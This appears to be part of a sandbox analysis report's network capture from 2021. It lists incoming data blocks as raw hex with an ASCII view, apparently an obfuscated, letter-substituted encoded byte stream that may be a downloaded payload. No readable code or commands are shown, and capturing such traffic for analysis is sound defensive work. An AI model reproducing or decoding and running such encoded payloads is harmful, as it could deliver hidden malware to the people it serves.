2021-10-29 15:55:26 UTC 452 IN Data Raw: 20 6d 44 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 70 4a 20 6d 44 20 4f 20 4f 20 4f 20 70 71 
20 57 45 20 71 57 45 20 70 45 20 70 4a 20 6d 44 20 4f 20 4f 20 4f 20 70 71 20 57 71 20 71 57 45 20 70 45 20 70 71 20 6d 
44 20 70 71 20 70 4a 20 71 57 45 20 70 45 20 70 4a 20 6d 57 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 
70 4a 20 6d 57 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 6d 57 20 4f 20 4f 20 4f 20 70 71 
20 57 45 20 71 57 45 20 70 45 20 70 4a 20 6d 57 20 4f 20 4f 20 4f 20 70 71 20 57 70 20 71 57 45 20 70 45 20 70 71 20 6d 
57 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 70 4a 20 6d 6d 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 
70 4a 20 6d 6d 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 
Data Ascii:  mD O O O pq WJ qWE pE pJ mD O O O pq WE qWE pE pJ mD O O O pq Wq qWE pE pq mD pq pJ qWE pE 
pJ mW O O O pq WE qWE pE pJ mW O O O pq qOq qWE pE pJ mW O O O pq WE qWE pE pJ mW O O O pq Wp qWE 
pE pq mW pq ME qWE pE pJ mm O O O pq WJ qWE pE pJ mm O O O pq Wm 

2021-10-29 15:55:26 UTC 468 IN Data Raw: 20 6d 4f 20 45 4a 20 4f 20 4f 20 44 20 71 44 57 20 71 57 58 20 4f 20 4f 20 71 20 71 71 20 71 6d 20 4d 20 44 20 
70 71 20 4d 20 71 57 6d 20 71 44 57 20 71 71 20 4f 20 4f 20 4a 20 71 4a 4d 20 71 71 20 4f 20 4f 20 4a 20 71 6d 20 71 4f 
20 44 20 70 71 20 71 4f 20 71 57 6d 20 71 44 57 20 71 4a 20 4f 20 4f 20 4a 20 71 4a 4d 20 71 4a 20 4f 20 4f 20 4a 20 45 
20 71 4a 20 6d 70 20 4f 20 58 20 6d 4a 20 4f 20 4f 20 71 4d 20 6d 58 20 6d 20 4f 20 4a 57 4a 20 71 20 4f 20 4f 20 70 20 
4f 20 4f 20 71 45 20 70 71 20 71 4a 20 71 6d 71 20 71 70 44 20 4f 20 4f 20 71 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 
4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 4d 58 20 71 57 45 20 70 45 20 
70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 
Data Ascii:  mO EJ O O D qDW qWX O O q qq qm M D pq M qWm qDW qq O O J qJM qq O O J qm qO D pq qO qWm 
qDW qJ O O J qJM qJ O O J E qJ mp O X mJ O O qM mX m O JWJ q O O p O O qE pq qJ qmq qpD O O q pE pJ qq O 
O O pq WJ qWE pE pJ qq O O O pq MX qWE pE pJ qq O O O pq Wm 

2021-10-29 15:55:26 UTC 484 IN Data Raw: 4a 70 44 20 70 58 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 44 57 20 70 4d 20 71 57 57 20 71 20 58 44 
20 71 4a 58 20 4d 44 20 4a 57 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 45 57 20 71 4d 20 71 57 57 20 71 20 58 44 
20 71 4a 58 20 4a 45 20 71 4f 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 4f 6d 20 6d 57 20 71 57 57 20 71 20 58 44 2
0 71 4a 58 20 71 4d 4d 20 4a 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 70 6d 20 71 20 71 57 57 20 71 20 58 44 20 71 
4a 58 20 4a 6d 58 20 71 70 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 70 57 20 71 4f 20 71 57 57 20 71 20 58 44 20 
71 4a 58 20 58 20 71 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 45 57 20 70 4d 20 71 57 57 20 71 20 58 44 20 71 4a 
58 20 4d 58 20 44 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 45 4f 20 71 6d 
Data Ascii: JpD pX qWW q XD qJX qDW pM qWW q XD qJX MD JW qWW q XD qJX qEW qM qWW q XD qJX JE qO 
qWW q XD qJX qOm mW qWW q XD qJX qMM J qWW q XD qJX pm q qWW q XD qJX JmX qp qWW q XD qJX JpW qO 
qWW q XD qJX X q qWW q XD qJX qEW pM qWW q XD qJX MX D qWW q XD qJX EO qm

2021-10-29 15:55:26 UTC 500 IN Data Raw: 6d 20 71 57 20 4a 44 20 70 58 20 71 44 20 71 44 71 20 6d 20 44 4a 20 44 20 71 70 4d 20 71 6d 20 71 44 4d 
20 6d 20 4a 70 6d 20 4a 45 20 71 58 44 20 4f 20 71 45 20 71 20 58 70 20 70 71 20 58 4a 20 71 44 20 71 58 57 20 6d 20 
71 70 4d 20 4a 45 20 70 44 20 71 6d 20 70 70 20 71 20 71 70 71 20 71 44 20 6d 4a 20 71 71 20 71 70 45 20 70 20 71 71 
44 20 70 58 20 71 4a 4d 20 71 70 20 71 6d 57 20 6d 20 57 57 20 4f 20 45 4f 20 58 20 71 6d 57 20 6d 20 71 71 58 20 4f 20 
71 71 70 20 71 44 20 71 6d 57 20 6d 20 71 57 4a 20 71 44 20 71 71 58 20 71 44 20 70 70 20 71 20 71 6d 57 20 70 6d 20 
71 4a 70 20 71 44 20 71 70 45 20 4a 20 4a 6d 45 20 6d 4f 20 71 70 71 20 71 44 20 4a 4f 71 20 6d 20 4a 70 6d 20 4a 45 
20 71 58 44 20 4f 20 4a 4f 4d 20 6d 20 4a 70 6d 20 4a 45 20 71 58 44 20 
Data Ascii: m qW JD pX qD qDq m DJ D qpM qm qDM m Jpm JE qXD O qE q Xp pq XJ qD qXW m qpM JE pD qm pp q 
qpq qD mJ qq qpE p qqD pX qJM qp qmW m WW O EO X qmW m qqX O qqp qD qmW m qWJ qD qqX qD pp q qmW pm 
qJp qD qpE J JmE mO qpq qD JOq m Jpm JE qXD O JOM m Jpm JE qXD 

2021-10-29 15:55:26 UTC 516 IN Data Raw: 20 4d 45 20 71 71 4f 20 4d 45 20 71 4f 70 20 71 4f 71 20 71 4f 4d 20 71 4f 71 20 71 71 4f 20 71 71 44 20 58 70 
20 4d 4d 20 71 71 71 20 71 71 4a 20 71 4f 71 20 4f 20 71 4f 70 20 71 4f 71 20 71 71 44 20 4d 57 20 45 70 20 71 71 57 20 
45 71 20 71 4f 71 20 71 71 4f 20 71 4f 71 20 71 71 6d 20 71 4f 57 20 4d 4d 20 58 6d 20 71 4a 71 20 71 71 4a 20 71 4f 71 
20 4f 20 71 4f 70 20 71 4f 71 20 71 71 44 20 4d 57 20 45 70 20 71 71 57 20 58 44 20 4d 45 20 71 4f 58 20 71 71 45 20 71 
4f 71 20 58 6d 20 71 4a 71 20 71 71 4a 20 71 4f 71 20 4f 20 71 4f 70 20 71 4f 71 20 71 71 44 20 4d 57 20 58 57 20 71 71 
4f 20 71 4f 4f 20 71 4f 71 20 71 71 6d 20 71 4f 58 20 71 4a 71 20 71 4f 57 20 71 71 4f 20 71 4f 70 20 58 6d 20 71 4a 71 20 
71 71 4a 20 71 4f 71 20 4f 20 45 71 20 71 4f 71 20 
Data Ascii:  ME qqO ME qOp qOq qOM qOq qqO qqD Xp MM qqq qqJ qOq O qOp qOq qqD MW Ep qqW Eq qOq qqO 
qOq qqm qOW MM Xm qJq qqJ qOq O qOp qOq qqD MW Ep qqW XD ME qOX qqE qOq Xm qJq qqJ qOq O qOp qOq 
qqD MW XW qqO qOO qOq qqm qOX qJq qOW qqO qOp Xm qJq qqJ qOq O Eq qOq 
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2021-10-29 15:55:26 UTC 532 IN Data Raw: 4a 20 71 4f 71 20 58 4a 20 71 4f 71 20 71 71 57 20 71 71 71 20 71 4f 58 20 71 71 58 20 71 4f 71 20 71 71 6d 
20 4f 20 58 45 20 4d 45 20 71 4f 58 20 71 4f 45 20 71 71 71 20 71 71 58 20 71 4f 71 20 71 71 6d 20 4f 20 58 6d 20 71 71 
71 20 45 44 20 71 71 71 20 71 71 4d 20 71 4f 71 20 71 71 6d 20 4f 20 4d 58 20 71 4f 71 20 71 4f 58 20 71 4f 58 20 71 4f 
4a 20 71 4f 58 20 71 71 71 20 71 71 4d 20 71 4f 71 20 71 71 6d 20 4f 20 44 58 20 4d 45 20 71 71 44 20 4d 45 20 44 45 20 
71 71 71 20 71 71 4f 20 71 71 44 20 71 71 6d 20 4d 45 20 4d 4d 20 71 71 44 20 45 6d 20 71 71 57 20 71 71 71 20 71 71 
4f 20 58 70 20 71 4f 71 20 71 71 6d 20 71 4f 57 20 4d 45 20 71 4f 58 20 71 4f 57 20 71 4a 4a 20 71 4f 71 20 71 71 6d 20 
4f 20 58 70 20 71 71 44 20 71 4f 71 20 71 71 6d 20 71 4f 57 
Data Ascii: J qOq XJ qOq qqW qqq qOX qqX qOq qqm O XE ME qOX qOE qqq qqX qOq qqm O Xm qqq ED qqq qqM 
qOq qqm O MX qOq qOX qOX qOJ qOX qqq qqM qOq qqm O DX ME qqD ME DE qqq qqO qqD qqm ME MM qqD Em 
qqW qqq qqO Xp qOq qqm qOW ME qOX qOW qJJ qOq qqm O Xp qqD qOq qqm qOW

2021-10-29 15:55:26 UTC 548 IN Data Raw: 71 71 6d 20 4d 45 20 71 71 4a 20 71 4f 6d 20 71 4a 71 20 4f 20 58 70 20 71 4f 6d 20 71 71 44 20 71 4f 57 20 
4d 4d 20 71 4f 45 20 71 4a 71 20 4f 20 58 70 20 71 4f 71 20 71 4f 4d 20 4d 58 20 71 4f 58 20 4d 45 20 4d 58 20 71 4f 58 
20 71 4a 71 20 4f 20 58 6d 20 71 71 6d 20 71 4f 71 20 4d 45 20 71 71 57 20 71 71 71 20 71 71 4f 20 4d 45 20 4d 58 20 71 
4f 58 20 71 4a 71 20 4f 20 71 4f 70 20 71 4f 71 20 71 71 44 20 4d 57 20 44 57 20 71 71 57 20 71 71 57 20 71 4f 71 20 71 
4f 4d 20 4d 58 20 71 4f 58 20 71 4a 71 20 4f 20 58 4f 20 71 71 6d 20 71 4f 71 20 71 71 4a 20 4d 45 20 71 71 6d 20 71 4f 
71 20 71 4f 4f 20 71 4f 58 20 71 4a 71 20 4f 20 44 58 20 71 4f 57 20 71 71 57 20 71 4f 57 20 71 71 4f 20 71 71 44 20 71 4f 
71 20 71 71 6d 20 71 4f 71 20 71 71 57 20 71 71 44 20 
Data Ascii: qqm ME qqJ qOm qJq O Xp qOm qqD qOW MM qOE qJq O Xp qOq qOM MX qOX ME MX qOX qJq O Xm qq
m qOq ME qqW qqq qqO ME MX qOX qJq O qOp qOq qqD MW DW qqW qqW qOq qOM MX qOX qJq O XO qqm qOq 
qqJ ME qqm qOq qOO qOX qJq O DX qOW qqW qOW qqO qqD qOq qqm qOq qqW qqD 

2021-10-29 15:55:26 UTC 564 IN Data Raw: 44 58 20 4f 20 71 71 6d 20 4f 20 71 4a 71 20 4f 20 57 4a 20 4f 20 6d 4d 20 4f 20 6d 4d 20 4f 20 57 6d 20 4f 20 
45 4d 20 4f 20 71 4f 44 20 4f 20 57 71 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 58 20 4f 20 
6d 4d 20 4f 20 57 70 20 4f 20 4d 58 20 4f 20 71 4a 71 20 4f 20 4d 4d 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 
45 4f 20 4f 20 45 58 20 4f 20 58 58 20 4f 20 71 4f 57 20 4f 20 6d 45 20 4f 20 71 4f 6d 20 4f 20 71 71 71 20 4f 20 57 6d 20 
4f 20 45 45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 45 70 20 4f 20 6d 45 20 4f 
20 6d 70 20 4f 20 71 4f 70 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 
4f 20 57 45 20 4f 20 71 71 57 20 4f 20 
Data Ascii: DX O qqm O qJq O WJ O mM O mM O Wm O EM O qOD O Wq O Xq O Xq O DW O DW O XX O mM O Wp 
O MX O qJq O MM O Ep O DM O DW O EO O EX O XX O qOW O mE O qOm O qqq O Wm O EE O XJ O DW O DW O 
Ep O XO O Ep O mE O mp O qOp O EJ O Xq O qOp O DW O DW O EE O WE O qqW O 

2021-10-29 15:55:26 UTC 580 IN Data Raw: 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 
44 44 20 4f 20 4d 45 20 4f 20 44 44 20 4f 20 71 4f 4a 20 4f 20 58 71 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 44 57 20 4f 
20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 57 4f 20 4f 20 45 44 20 4f 20 71 4f 4f 20 4f 
20 58 71 20 4f 20 71 4f 44 20 4f 20 71 71 6d 20 4f 20 44 45 20 4f 20 58 4f 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 71 71 70 
20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 71 58 20 4f 20 71 71 4d 20 4f 20 58 
58 20 4f 20 57 4a 20 4f 20 71 71 58 20 4f 20 45 71 20 4f 20 58 58 20 4f 20 71 71 57 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 
20 44 44 20 4f 20 44 57 20 4f 20 44 
Data Ascii:  DD O DW O DW O Ep O XX O DW O qOO O DD O ME O DD O qOJ O Xq O qOp O DX O DW O Xq O DW O 
DW O qOO O DW O WO O ED O qOO O Xq O qOD O qqm O DE O XO O WD O XD O qqp O EE O DD O DW O DW O 
Ep O qqX O qqM O XX O WJ O qqX O Eq O XX O qqW O qqO O DE O DD O DW O D

2021-10-29 15:55:26 UTC 596 IN Data Raw: 20 6d 45 20 4f 20 45 4f 20 4f 20 4d 45 20 4f 20 58 6d 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 
45 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 20 4d 4d 20 4f 20 71 4f 57 20 4f 20 57 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 
57 45 20 4f 20 58 71 20 4f 20 57 6d 20 4f 20 71 71 4d 20 4f 20 45 4f 20 4f 20 58 58 20 4f 20 71 4f 44 20 4f 20 58 4d 20 4f 
20 58 58 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 45 71 20 4f 
20 71 4f 6d 20 4f 20 6d 58 20 4f 20 71 4a 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 44 20 4f 20 58 4d 
20 4f 20 58 58 20 4f 20 45 70 20 4f 20 71 71 45 20 4f 20 58 4f 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 4d 45 20 4f 20 58 4f 
20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 
Data Ascii:  mE O EO O ME O Xm O DW O Xq O DW O DE O EX O qOm O MM O qOW O WJ O mE O mE O WE O Xq 
O Wm O qqM O EO O XX O qOD O XM O XX O qqM O mE O XO O mE O mE O XW O Eq O qOm O mX O qJq O XW O 
DW O DW O qOD O XM O XX O Ep O qqE O XO O WW O mE O ME O XO O WE O mE O 

2021-10-29 15:55:26 UTC 612 IN Data Raw: 20 71 4f 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 
20 71 4f 4a 20 4f 20 45 44 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 71 71 70 20 4f 20 44 57 20 
4f 20 45 4f 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 71 71 45 20 4f 20 71 71 71 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 
57 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 45 
20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 44 58 20 4f 20 45 4f 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 71 4f 4f
20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 4d 20 4f 20 45 58 20 4f 20 71 4
f 6d 20 4f 20 71 4f 4a 20 4f 20 44 
Data Ascii:  qOp O DE O DW O DW O DE O EX O qOm O qOJ O ED O WE O mE O mE O WE O qqp O DW O EO O DX 
O qqq O qqE O qqq O Ep O DW O DW O Ep O WO O EO O WD O XO O Wq O mE O mE O WJ O XO O DM O DX O EO 
O DX O qqq O qOO O DD O qqW O DW O DW O EO O qOM O EX O qOm O qOJ O D

2021-10-29 15:55:26 UTC 628 IN Data Raw: 20 4f 20 45 70 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 44 20 4f 20 58 58 20 
4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 45 58 20 4f 20 58 6d 20 4f 20 71 4f 4a 20 4f 20 58 4a 20 4f 20 58 4a 20 4f 20 58 57 
20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 6d 4d 20 4f 20 58 4f 20 4f 20 58 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f
20 6d 4d 20 4f 20 44 45 20 4f 20 45 44 20 4f 20 58 71 20 4f 20 71 4a 4f 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 71 44 20 
4f 20 71 4f 4f 20 4f 20 58 6d 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 71 20 4f 20 57 57 
20 4f 20 71 4f 6d 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 44 58 2
0 4f 20 45 70 20 4f 20 58 58 20 4f 
Data Ascii:  O Ep O qOD O DW O DW O DE O ED O XX O Xq O qOW O EX O Xm O qOJ O XJ O XJ O XW O Ep O WO 
O EO O mM O XO O XX O mE O mE O mM O DE O ED O Xq O qJO O DE O EX O qqD O qOO O Xm O WE O mE O 
mE O mE O qqq O WW O qOm O MM O DW O DW O Ep O XO O DM O DX O Ep O XX O

2021-10-29 15:55:26 UTC 644 IN Data Raw: 4f 20 45 44 20 4f 20 71 71 4d 20 4f 20 6d 70 20 4f 20 71 4f 44 20 4f 20 71 4f 71 20 4f 20 57 70 20 4f 20 6d 45 
20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 58 20 4f 20 71 71 58 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 
57 20 4f 20 44 44 20 4f 20 58 45 20 4f 20 71 4f 44 20 4f 20 58 4d 20 4f 20 45 45 20 4f 20 57 4f 20 4f 20 58 58 20 4f 20 58 
71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 58 4d 20 4f 20 44 44 20 4f 20 44 
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 57 6d 20 4f 20 45 
45 20 4f 20 58 6d 20 4f 20 71 71 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 45 20 4f 20 71 4f 44 20 4f 20 
58 4d 20 4f 20 45 45 20 4f 20 57 4f 20 
Data Ascii: O ED O qqM O mp O qOD O qOq O Wp O mE O mE O mE O qqX O qqX O WD O DW O DW O DW O DD O 
XE O qOD O XM O EE O WO O XX O Xq O DW O DW O XW O Eq O qOp O XM O DD O DW O DW O DW O XD O XM 
O qqX O DX O Wm O EE O Xm O qqO O mE O mE O WE O XE O qOD O XM O EE O WO 

Timestamp
kBytes
transferred Direction Data
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2021-10-29 15:55:26 UTC 660 IN Data Raw: 71 20 4f 20 71 71 57 20 4f 20 45 70 20 4f 20 4d 4f 20 4f 20 71 4f 44 20 4f 20 71 71 44 20 4f 20 45 45 20 4f 20 
45 6d 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 6d 4d 20 4f 20 44 44 20 4f 20 58 45 20 4f 20 4d 58 20 4f 20 45 4a 20 4f 20 44 
57 20 4f 20 45 4f 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 44 44 20 4f 20 71 4f 4d 20 4f 20 71 
4f 70 20 4f 20 71 4a 4a 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 71 71 4f 20 4f 20 44 58 
20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 6d 45 20 
4f 20 71 4f 4f 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 45 70 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 2
0 4f 20 45 4f 20 4f 20 58 71 20 4f 
Data Ascii: q O qqW O Ep O MO O qOD O qqD O EE O Em O DW O XJ O mM O DD O XE O MX O EJ O DW O EO O W
D O DW O Xq O DM O DD O qOM O qOp O qJJ O qOp O DW O qOO O qOq O qqO O DX O ME O DW O Xq O DD O 
DW O DW O DX O mE O qOO O DE O Xq O Ep O ME O qOp O DX O mE O EO O Xq O

2021-10-29 15:55:26 UTC 676 IN Data Raw: 4f 20 71 71 58 20 4f 20 71 71 4d 20 4f 20 71 4f 4a 20 4f 20 71 4f 70 20 4f 20 45 57 20 4f 20 45 44 20 4f 20 57 
44 20 4f 20 45 70 20 4f 20 58 58 20 4f 20 57 4f 20 4f 20 71 4f 4a 20 4f 20 71 4f 6d 20 4f 20 4d 45 20 4f 20 45 58 20 4f 20 
44 44 20 4f 20 44 58 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 71 4f 44 20 4f 20 58 71 20 4f 20 58 4a 20 4f 20 45 44 20 4f 20 
58 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 44 45 20 4f 20 45 4d 20 4f 20 71 4f 6d 20 4f 20 71 4f 4f 20 4f 20
58 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 58 71 20 4f 
20 71 4f 70 20 4f 20 57 44 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 71 4f 57 20 4f 20 6d 58 20 4f 20 58 57 20 4f 20 45 70 20 
4f 20 4d 4f 20 4f 20 71 71 71 20 4f 
Data Ascii: O qqX O qqM O qOJ O qOp O EW O ED O WD O Ep O XX O WO O qOJ O qOm O ME O EX O DD O DX O 
MO O Xq O qOD O Xq O XJ O ED O XW O XO O WE O mM O DE O EM O qOm O qOO O XX O qOp O DW O DW O 
qOW O mM O XW O Xq O qOp O WD O Xq O EE O qOW O mX O XW O Ep O MO O qqq O

2021-10-29 15:55:26 UTC 692 IN Data Raw: 57 44 20 4f 20 58 44 20 4f 20 44 58 20 4f 20 45 45 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 
20 4f 20 71 71 58 20 4f 20 71 71 4d 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 58 58 20 4f 20 71 71 4d 20 4f 20 58 57 20 4f 
20 45 4f 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 45 4f 20 4f 20 4d 58 20 4f 20 71 4f 44 20 4f 20 44 44 20 4f 20 58 71 20 4f 
20 44 57 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 58 4a 20 4f 20 71 4f 71 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 58 44 20 4f 
20 71 71 58 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 71 71 6d 20 4f 20 45 45 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 
4f 20 45 71 20 4f 20 71 71 71 20 4f 20 44 45 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 58 58 20 4f 20 71 71 4d 20 4f 20 58 
57 20 4f 20 45 4f 20 4f 20 58 4d 20 
Data Ascii: WD O XD O DX O EE O Em O DW O DW O Ep O qqX O qqM O qOD O XW O XX O qqM O XW O EO O qOJ 
O mE O EO O MX O qOD O DD O Xq O DW O DE O EX O XJ O qOq O DD O Xq O XD O qqX O WD O XD O qqm O EE 
O EO O DW O DW O Eq O qqq O DE O qOD O XW O XX O qqM O XW O EO O XM 

2021-10-29 15:55:26 UTC 708 IN Data Raw: 20 4f 20 71 4f 58 20 4f 20 44 4d 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 45 57 20 4f 20 45 44 20 4f 20 44 58 
20 4f 20 71 4f 4d 20 4f 20 4d 45 20 4f 20 45 6d 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 71 4f 
70 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 45 4f 20 4f 20 71 4f 4a 20 4f 20 45 4d 20 4f 20 57 4f 20 4f 20 45 44 20 4f 20 71
4a 4f 20 4f 20 71 4f 58 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 71 4f 57 20 4f 20 71 71 4d 20 4f 20 4d 45 20 4f 20 45 44 
20 4f 20 71 4a 4a 20 4f 20 71 71 58 20 4f 20 57 44 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 71 71 4d 20 4f 20 71 4f 57 20 
4f 20 45 44 20 4f 20 58 4a 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 58 4f 20 4f 20 71 71 6d 20 4f 20 6d 58 20 4f 20 58 71 2
0 4f 20 71 4f 45 20 4f 20 44 44 20 
Data Ascii:  O qOX O DM O qOp O Xq O EW O ED O DX O qOM O ME O Em O EJ O Ep O EO O DW O qOp O mE O q
Op O EO O qOJ O EM O WO O ED O qJO O qOX O qqX O DX O qOW O qqM O ME O ED O qJJ O qqX O WD O Xq O 
qOW O qqM O qOW O ED O XJ O qOp O Xq O XO O qqm O mX O Xq O qOE O DD 

2021-10-29 15:55:26 UTC 724 IN Data Raw: 4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 70 20 
4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 58 45 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 58 57 
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 4d 58 20 4f 20 71 71 71 20 4f 20 44 45 20 4f 20 71 
71 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 71 4f 20 4f 20 57 45 20 4f 20 44 57 20 4f 20 
44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 58 44 20 4f 20 57 4a 20 4f 20 6d 58 20 4f 20 71 4f 4a 20 4f 20 
71 4f 57 20 4f 20 57 70 20 4f 20 58 6d 20 4f 20 57 6d 20 4f 20 45 58 20 4f 20 58 6d 20 4f 20 57 4f 20 4f 20 6d 45 20 4f 20 
6d 45 20 4f 20 6d 70 20 4f 20 45 44 20 
Data Ascii: O DW O mE O WW O ME O qOp O DW O qOp O DW O DW O mE O qJO O XE O XM O qqM O XW O DW O 
DW O qOW O WD O MX O qqq O DE O qqM O DM O DW O DW O EM O qqO O WE O DW O DW O DW O DW O EM O 
XD O WJ O mX O qOJ O qOW O Wp O Xm O Wm O EX O Xm O WO O mE O mE O mp O ED 

2021-10-29 15:55:26 UTC 740 IN Data Raw: 20 4f 20 71 4f 4a 20 4f 20 71 4f 4a 20 4f 20 44 45 20 4f 20 45 44 20 4f 20 71 4f 4a 20 4f 20 58 71 20 4f 20 71 4a 
4f 20 4f 20 58 58 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 58 20 4f 20 57 44 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 
71 44 20 4f 20 71 71 70 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 57 45 20 4f 20 58 71 20 4f 20 45 58 20 4f 20 45 70 20 4f 
20 57 4f 20 4f 20 45 4f 20 4f 20 71 71 70 20 4f 20 58 4f 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 
20 44 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 58 6d 20 4f 20 71 71 71 20 4f 20 45 57 20 4f 20 58 6d 
20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 71 57 20 4f 20 45 4a 20 4f 20 58 45 20 4f 20 58 44 
